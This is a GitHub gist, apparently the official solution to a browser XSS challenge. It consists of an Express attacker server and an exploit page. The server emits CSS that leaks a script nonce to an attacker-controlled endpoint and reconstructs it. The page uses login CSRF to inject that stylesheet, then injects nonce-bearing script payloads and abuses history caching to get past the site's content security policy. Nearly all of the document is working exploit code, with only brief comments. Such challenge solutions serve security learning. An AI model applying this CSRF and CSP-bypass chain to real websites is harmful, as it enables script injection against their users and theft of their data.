-
-
Save JorianWoltjer/e6c7726be8c35f33b39469ed9ae2f75f to your computer and use it in GitHub Desktop.
https://greeting-chall.jorianwoltjer.com XSS challenge official solution
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const express = require('express'); | |
| const fs = require('fs'); | |
| const app = express(); | |
| const port = 8000; | |
| let leaks = []; | |
| app.get('/', (req, res) => { | |
| res.send(fs.readFileSync('exploit.html', 'utf8')); | |
| }); | |
| app.get('/leak.css', (req, res) => { | |
| const l = [..."abcdef0123456789"]; | |
| const strings = l.flatMap(a => l.flatMap(b => l.map(c => a + b + c))); | |
| const css = `\ | |
| *{display: block} | |
| ${strings.map(s => `script[nonce*="${s}"]{--${s}:url(/l/${s})}`).join('\n')} | |
| script { | |
| background: ${strings.map(s => `var(--${s},none)`).join(',')} | |
| } | |
| `; | |
| leaks = []; | |
| res.setHeader('Content-Type', 'text/css'); | |
| res.send(css); | |
| }); | |
| function mergeWords(arr, ending) { | |
| if (arr.length === 0) return ending | |
| if (!ending) { | |
| for (let i = 0; i < arr.length; i++) { | |
| let isFound = false | |
| for (let j = 0; j < arr.length; j++) { | |
| if (i === j) continue | |
| let suffix = arr[i][1] + arr[i][2] | |
| let prefix = arr[j][0] + arr[j][1] | |
| if (suffix === prefix) { | |
| isFound = true | |
| continue | |
| } | |
| } | |
| if (!isFound) { | |
| return mergeWords(arr.filter(item => item !== arr[i]), arr[i]) | |
| } | |
| } | |
| } | |
| let found = [] | |
| for (let i = 0; i < arr.length; i++) { | |
| let length = ending.length | |
| let suffix = ending[0] + ending[1] | |
| let prefix = arr[i][1] + arr[i][2] | |
| if (suffix === prefix) { | |
| found.push([arr.filter(item => item !== arr[i]), arr[i][0] + ending]) | |
| } | |
| } | |
| return found.map((item) => { | |
| return mergeWords(item[0], item[1]) | |
| }) | |
| } | |
| function combine(arr) { | |
| return mergeWords(arr, null).flat(99); | |
| } | |
| app.get('/nonce', (req, res) => { | |
| const nonce = combine(leaks); | |
| console.log(nonce); | |
| res.json(nonce); | |
| }); | |
| app.get("/back", (req, res) => { | |
| res.send(`<script> | |
| const n = parseInt(new URLSearchParams(location.search).get("n") || "1"); | |
| history.go(-n); | |
| </script>`); | |
| }); | |
| app.get('/l/:leak', (req, res) => { | |
| const leak = req.params.leak; | |
| console.log(`Leaked (${leaks.length + 1}): ${leak}`); | |
| leaks.push(leak); | |
| res.status(204).send(); | |
| }); | |
| app.listen(port, () => { | |
| console.log(`Listening at http://127.0.0.1:${port}`) | |
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script> | |
| const TARGET = "https://greeting-chall.jorianwoltjer.com"; | |
| function sleep(ms) { | |
| return new Promise((resolve) => setTimeout(resolve, ms)); | |
| } | |
| function login_csrf(name) { | |
| const form = document.createElement("form"); | |
| form.method = "POST"; | |
| form.action = TARGET + "/login"; | |
| form.target = "w"; | |
| const input = document.createElement("input"); | |
| input.name = "name"; | |
| input.value = name; | |
| form.appendChild(input); | |
| document.body.appendChild(form); | |
| form.submit(); | |
| form.remove(); | |
| } | |
| onclick = async () => { | |
| w = window.open("", "w"); | |
| // Load target with CSS leaking nonce | |
| login_csrf(`<link rel="stylesheet" href="${location.origin}/leak.css">`); | |
| await sleep(1000); | |
| w.location = TARGET + "/dashboard?xss"; | |
| await sleep(1000); | |
| // Backend will use leaks to reconstruct full nonce | |
| const nonces = await fetch("/nonce").then((r) => r.json()); | |
| // Prepare /profile returning new XSS payload | |
| login_csrf(nonces.map((nonce) => `<iframe srcdoc="<script nonce='${nonce}'>alert(origin)<\/script>"></iframe>`).join("")); | |
| // ^^ this also at the same time fetches /profile with the new value, so it becomes cached | |
| await sleep(1000); | |
| // Going back to ?xss causes previous nonce to be loaded, but with re-saved /profile from above | |
| w.location = location.origin + "/back?n=2"; | |
| }; | |
| </script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment